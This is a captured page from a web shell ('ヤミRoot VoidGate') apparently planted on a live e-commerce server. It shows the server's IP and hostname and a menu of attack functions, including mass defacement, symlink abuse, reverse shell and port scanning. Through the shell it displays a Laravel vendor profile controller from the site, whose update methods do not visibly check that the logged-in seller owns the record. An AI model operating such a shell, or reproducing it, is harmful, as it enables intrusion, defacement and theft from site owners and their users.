ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Http
/
Controllers
/
Vendor
/
Viewing: ProfileController.php
<?php namespace App\Http\Controllers\Vendor; use App\Contracts\Repositories\ShopRepositoryInterface; use App\Enums\ViewPaths\Vendor\Profile; use App\Http\Controllers\BaseController; use App\Http\Requests\Vendor\VendorBankInfoRequest; use App\Http\Requests\Vendor\VendorPasswordRequest; use App\Http\Requests\Vendor\VendorRequest; use App\Repositories\VendorRepository; use App\Services\VendorService; use Devrabiul\ToastMagic\Facades\ToastMagic; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\JsonResponse; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Pagination\LengthAwarePaginator; use Illuminate\View\View; class ProfileController extends BaseController { /** * @param VendorRepository $vendorRepo * @param VendorService $vendorService * @param ShopRepositoryInterface $shopRepo */ public function __construct( private readonly VendorRepository $vendorRepo, private readonly VendorService $vendorService, private readonly ShopRepositoryInterface $shopRepo, ) { } /** * @param Request|null $request * @param string|null $type * @return \Illuminate\Contracts\View\View|Collection|LengthAwarePaginator|callable|RedirectResponse|null */ public function index(?Request $request, ?string $type = null): \Illuminate\Contracts\View\View|Collection|LengthAwarePaginator|null|callable|RedirectResponse { return $this->getListView(); } /** * @return View */ public function getListView(): View { $vendor = $this->vendorRepo->getFirstWhere(['id' => auth('seller')->id()]); return view('vendor-views.profile.index', compact('vendor')); } /** * @param string|int $id * @return View|RedirectResponse */ public function getUpdateView(string|int $id): View|RedirectResponse { if (auth('seller')->id() != $id) { ToastMagic::warning(translate('you_can_not_change_others_profile')); return redirect()->back(); } $vendor = $this->vendorRepo->getFirstWhere(['id' => auth('seller')->id()]); $shopBanner = $this->shopRepo->getFirstWhere(['seller_id' => auth('seller')->id()])->banner; return view('vendor-views.profile.update-view', compact('vendor', 'shopBanner')); } /** * @param VendorRequest $request * @param string|int $id * @return JsonResponse */ public function update(VendorRequest $request, string|int $id): JsonResponse { $vendor = $this->vendorRepo->getFirstWhere(['id' => $id]); $this->vendorRepo->update(id: $id, data: $this->vendorService->getVendorDataForUpdate(request: $request, vendor: $vendor)); return response()->json(['message' => translate('profile_updated_successfully')]); } /** * @param VendorPasswordRequest $request * @param string|int $id * @return JsonResponse */ public function updatePassword(VendorPasswordRequest $request, string|int $id): JsonResponse { $this->vendorRepo->update(id: $id, data: $this->vendorService->getVendorPasswordData(request: $request)); return response()->json(['message' => translate('password_updated_successfully')]); } /** * @param string|int $id * @return View|RedirectResponse */ public function getBankInfoUpdateView(string|int $id): View|RedirectResponse { $vendorId = auth('seller')->id(); if ($vendorId != $id) { ToastMagic::warning(translate('you_can_not_change_others_info')); return redirect()->back(); } $vendor = $this->vendorRepo->getFirstWhere(['id' => $vendorId]); return view('vendor-views.profile.bank-info-update-view', compact('vendor')); } /** * @param VendorBankInfoRequest $request * @param string|int $id * @return RedirectResponse */ public function updateBankInfo(VendorBankInfoRequest $request, string|int $id): RedirectResponse { $vendor = $this->vendorRepo->getFirstWhere(['id' => $id]); $this->vendorRepo->update(id: $vendor['id'], data: $this->vendorService->getVendorBankInfoData(request: $request)); ToastMagic::success(translate('successfully_updated') . '!!'); return redirect()->route('vendor.profile.index'); } }
Coded With 💗 by
0x6ick